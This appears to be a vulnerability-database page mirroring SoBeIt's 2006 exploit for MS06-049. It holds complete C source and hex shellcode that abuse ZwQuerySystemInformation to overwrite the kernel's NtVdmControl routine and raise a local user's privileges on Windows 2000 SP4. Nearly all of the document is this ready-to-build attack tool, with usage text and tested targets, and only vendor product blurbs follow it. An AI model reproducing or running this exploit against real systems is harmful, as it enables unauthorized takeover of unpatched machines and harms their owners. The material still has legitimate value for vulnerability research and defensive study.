Lucene search
K

MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)

🗓️ 21 Sep 2006 00:00:00Reported by SoBeItType 
zdt
 zdt
🔗 0day.today👁 28 Views

MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049) - Local Privilege Escalation Vulnerability Exploi

Code
===================================================================
MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)
===================================================================


/*
    MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit
            Created by SoBeIt

    Main file of exploit

    Tested on:

    Windows 2000 PRO SP4 Chinese
    Windows 2000 PRO SP4 Rollup 1 Chinese
    Windows 2000 PRO SP4 English
    Windows 2000 PRO SP4 Rollup 1 English

    Usage:ms06-049.exe
*/

#include <windows.h>
#include <stdio.h>

#define NTSTATUS    int
#define ProcessBasicInformation    0
#define SystemModuleInformation 11
    
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWVDMCONTROL    ZwVdmControl;
ZWQUERYINFORMATIONPROCESS    ZwQueryInformationProcess;
ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG Reserved[2];
    PVOID Base;
    ULONG Size;
    ULONG Flags;
    USHORT Index;
    USHORT Unknow;
    USHORT LoadCount;
    USHORT ModuleNameOffset;
    char ImageName[256];    
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

unsigned char kfunctions[64][64] = 
{
                            //ntoskrnl.exe
    {"ZwTerminateProcess"},
    {""},
};

unsigned char shellcode[] = 
        "\x90\x60\x9c\xe9\xd1\x00\x00\x00\x5f\x4f\x47\x33\xc0\x66\x81\x3f"
        "\x90\xcc\x75\xf6\x40\x40\x66\x81\x3c\x07\xcc\x90\x75\xec\x83\xc7"
        "\x04\xbe\x38\xf0\xdf\xff\x8b\x36\xad\xad\x48\x81\x38\x4d\x5a\x90"
        "\x00\x75\xf7\x95\x8b\xf7\x6a\x01\x59\xe8\x56\x00\x00\x00\xe2\xf9"
        "\xbb\x24\xf1\xdf\xff\x8b\x1b\x8b\x43\x44\xb9\x08\x00\x00\x00\xe8"
        "\x2c\x00\x00\x00\x8b\xd0\x8b\x4e\x04\xe8\x22\x00\x00\x00\x8b\x8a"
        "\x2c\x01\x00\x00\x89\x88\x2c\x01\x00\x00\x56\x8b\x7e\x0c\x8b\x4e"
        "\x10\x8b\x76\x08\xf3\xa4\x5e\x33\xc0\x50\x50\xff\x16\x9d\x61\xc3"
        "\x8b\x80\xa0\x00\x00\x00\x2d\xa0\x00\x00\x00\x39\x88\x9c\x00\x00"
        "\x00\x75\xed\xc3\x51\x56\x8b\x75\x3c\x8b\x74\x2e\x78\x03\xf5\x56"
        "\x8b\x76\x20\x03\xf5\x33\xc9\x49\x41\xad\x03\xc5\x33\xdb\x0f\xbe"
        "\x10\x85\xd2\x74\x08\xc1\xcb\x07\x03\xda\x40\xeb\xf1\x3b\x1f\x75"
        "\xe7\x5e\x8b\x5e\x24\x03\xdd\x66\x8b\x0c\x4b\x8b\x5e\x1c\x03\xdd"
        "\x8b\x04\x8b\x03\xc5\xab\x5e\x59\xc3\xe8\x2a\xff\xff\xff\x90\x90"

        "\x90\xcc\xcc\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xcc\x90\x90\xcc";

void ErrorQuit(char *msg)
{
    printf("%s:%x\n", msg, GetLastError());
    ExitProcess(0);
}

ULONG ComputeHash(char *ch)
{
    ULONG ret = 0;

    while(*ch)
    {
        ret = ((ret << 25) | (ret >> 7)) + *ch++;
    }

    return ret;
}

ULONG RVA2Offset(ULONG RVA, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{    
    ULONG i;
    
    if(RVA < pSectionHeader[0].PointerToRawData)
        return RVA;

    for(i = 0; i < Sections; i++)
    {   
        if(RVA >= pSectionHeader[i].VirtualAddress &&
           RVA < pSectionHeader[i].VirtualAddress + pSectionHeader[i].SizeOfRawData)           
           return (RVA - pSectionHeader[i].VirtualAddress + pSectionHeader[i].PointerToRawData);
    }
    
    return 0;
}

ULONG Offset2RVA(ULONG Offset, PIMAGE_SECTION_HEADER pSectionHeader, ULONG Sections)
{   
    ULONG i;
    
    if(Offset < pSectionHeader[0].PointerToRawData)
        return Offset;
    
    for(i = 0; i < Sections; i++)
    {
        if(Offset >= pSectionHeader[i].PointerToRawData &&
           Offset < pSectionHeader[i].PointerToRawData + pSectionHeader[i].SizeOfRawData)
           return (Offset - pSectionHeader[i].PointerToRawData + pSectionHeader[i].VirtualAddress);
    }
    
    return 0;
}

void GetFunction()
{
    HANDLE    hNtdll;
    
    hNtdll = LoadLibrary("ntdll.dll");
    if(hNtdll == NULL)
        ErrorQuit("LoadLibrary failed.\n");
        
    ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
    if(ZwVdmControl == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess");
    if(ZwQueryInformationProcess == NULL)
        ErrorQuit("GetProcAddress failed.\n");
        
    ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
    if(ZwQuerySystemInformation == NULL)
        ErrorQuit("GetProcessAddress failed.\n");
        
    FreeLibrary(hNtdll);
}

ULONG GetKernelBase()
{
    ULONG    i, Byte, ModuleCount;
    PVOID    pBuffer;
    PSYSTEM_MODULE_INFORMATION    pSystemModuleInformation;
    PCHAR    pName;
    
    ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        
    if((pBuffer = malloc(Byte)) == NULL)
        ErrorQuit("malloc failed.\n");
        
    if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte))
        ErrorQuit("ZwQuerySystemInformation failed\n");
    
    ModuleCount = *(PULONG)pBuffer;
    pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG));
    for(i = 0; i < ModuleCount; i++)
    {
        if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL)
        {
            free(pBuffer);    
            return (ULONG)pSystemModuleInformation->Base;
        }
        
        pSystemModuleInformation++;
    }
        
    free(pBuffer);
    return 0;
}

int main(int argc, char *argv[])
{
    PULONG    pStoreBuffer, pNamesArray, pFunctionsArray, pShellcode, pRestoreBuffer;
    PUCHAR    pBase;
    PCHAR        pName;
    PUSHORT        pOrdinals;
    PIMAGE_NT_HEADERS    pHeader;
    PIMAGE_EXPORT_DIRECTORY    pExport;
    PIMAGE_SECTION_HEADER pSectionHeader;
    PROCESS_BASIC_INFORMATION pbi;
    SYSTEM_MODULE_INFORMATION    smi;
    char        DriverName[256];
    ULONG        Byte, FileSize, len, i, j, k, Count, BaseAddress, Value, KernelBase, buf[64], HookAddress, Temp, Sections;
    USHORT    index;
    HANDLE    hDevice, hFile, hFileMap;

    printf("\n MS06-049 Windows ZwQuerySystemInformation Local Privilege Escalation Vulnerability Exploit \n\n");
    printf("\t Create by SoBeIt. \n\n");
    if(argc != 1)
    {
        printf(" Usage:%s \n\n", argv[0]);
        return 1;
    }

    GetFunction();

    if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
        ErrorQuit("ZwQueryInformationProcess failed\n");
    
    KernelBase = GetKernelBase();
    if(!KernelBase)
        ErrorQuit("Unable to get kernel base address.\n");
        
    printf("Kernel base address: %x\n", KernelBase);

    pRestoreBuffer = malloc(0x100);
    if(pRestoreBuffer == NULL)
        ErrorQuit("malloc failed.\n");
    
    pStoreBuffer = VirtualAlloc(NULL, 0x1001000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pStoreBuffer == NULL)
        ErrorQuit("VirtualAlloc failed.\n");
        
    printf("Allocated address:%x\n", pStoreBuffer);
    
    if(!GetSystemDirectory((PUCHAR)pStoreBuffer, 256))
        ErrorQuit("GetSystemDirectory failed.\n");

    strcat((PUCHAR)pStoreBuffer, "\\ntoskrnl.exe");
    hFile = CreateFile((PUCHAR)pStoreBuffer, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hFile == INVALID_HANDLE_VALUE)
    {
        hFile = CreateFile("ntoskrnl.exe", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if(hFile == INVALID_HANDLE_VALUE)
            ErrorQuit("CreateFile failed.\n");
    }

    if((FileSize = GetFileSize(hFile, NULL)) == 0xffffffff)
        ErrorQuit("GetFileSize failed.\n");

    printf("File size:%x\n", FileSize);
    pBase = (PUCHAR)VirtualAlloc(NULL, FileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(pBase == NULL)
        ErrorQuit("VirtualAlloc failed.\n");
        
    if(!ReadFile(hFile, pBase, FileSize, &Byte, NULL))
        ErrorQuit("ReadFile failed.\n");

    pHeader = (PIMAGE_NT_HEADERS)(pBase + ((PIMAGE_DOS_HEADER)pBase)->e_lfanew);
    pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)(&pHeader->OptionalHeader) + pHeader->FileHeader.SizeOfOptionalHeader);
    Sections= pHeader->FileHeader.NumberOfSections;

    pExport = (PIMAGE_EXPORT_DIRECTORY)(pBase + 
        RVA2Offset(pHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress,
        pSectionHeader,
        Sections
        ));

    pNamesArray = (PULONG)(pBase + 
                    RVA2Offset(pExport->AddressOfNames,
                        pSectionHeader,
                        Sections));
                        
    pFunctionsArray = (PULONG)(pBase +                        
                    RVA2Offset(pExport->AddressOfFunctions,
                        pSectionHeader,
                        Sections));
                        
    pOrdinals = (PUSHORT)(pBase + 
                    RVA2Offset(pExport->AddressOfNameOrdinals,
                        pSectionHeader,
                        Sections));
                        
    len = strlen("NtVdmControl");
    for(i = 0; i < pExport->NumberOfNames; i++)
    {
        pName = pBase + RVA2Offset(pNamesArray[i], pSectionHeader, Sections);
        if(!strncmp(pName, "NtVdmControl", len))
            break;
    }

    if(i > pExport->NumberOfFunctions)
        ErrorQuit("Some error occured.\n");

    index = pOrdinals[i]; 
    HookAddress = pFunctionsArray[index] + KernelBase;
    memcpy((PUCHAR)pRestoreBuffer, pBase + pFunctionsArray[index] - 1, 0x10);
    printf("%s Address:%x\n", "NtVdmControl", HookAddress);
    
    pShellcode = (PULONG)shellcode;
    for(k = 0; pShellcode[k++] != 0x90cccc90; )
                ;

    for(j = 0; kfunctions[j][0] != '\x0'; j++)
        buf[j] = ComputeHash(kfunctions[j]);

    buf[j++] = pbi.InheritedFromUniqueProcessId;
    buf[j++] = (ULONG)pRestoreBuffer;
    buf[j++] = HookAddress - 1;
    buf[j++] = 0x10;    

    memcpy((char *)(pShellcode + k), (char *)buf, j * 4);
    
    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%x\n", Byte);
    Value = (0xe9 << 8) & 0xff00;
    printf("Jump value:%x\n", Value);
    printf("Base value:%x\n", pRestoreBuffer[0]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[0] + Count * Byte) & 0xff00) == Value)
            break;    
    }
    
    printf("Need value generated:%x\n", pRestoreBuffer[0] + Count * Byte);
    printf("Count value:%x\n", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress - 1), 0, &Byte);

    Temp = 0;
    for(i = 0; i < 7; i++)
    {
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte);
        Byte = Byte / sizeof(SYSTEM_MODULE_INFORMATION);
        Temp += Byte;
    }
    
    Byte = Temp / 7;
    printf("Single value:%x\n", Byte);
    Value = (((ULONG)pStoreBuffer + 0x800000 - HookAddress) >> 16) & 0xfff0;
    printf("Jump value:%x\n", Value);
    printf("Base value:%x\n", pRestoreBuffer[1]);
    for(Count = 0; ; Count++)
    {
        if(((pRestoreBuffer[1] + Count * Byte) & 0xfff0) == Value)
            break;
    }

    printf("Need value generated:%x\n", pRestoreBuffer[1] + Count * Byte);
    printf("Count value:%x\n", Count);
    for(i = 0; i < Count; i ++)
        ZwQuerySystemInformation(SystemModuleInformation, (PVOID)(HookAddress + 3), 0, &Byte);

    memset(pStoreBuffer, 0x90, 0x1001000);
    memcpy((PUCHAR)pStoreBuffer + 0x1000000, shellcode, sizeof(shellcode));
        
    CloseHandle(hFile);

    printf("Exploitation finished.\n");
    ZwVdmControl(0, NULL);
    
    return 1;
}




#  0day.today [2018-04-09]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation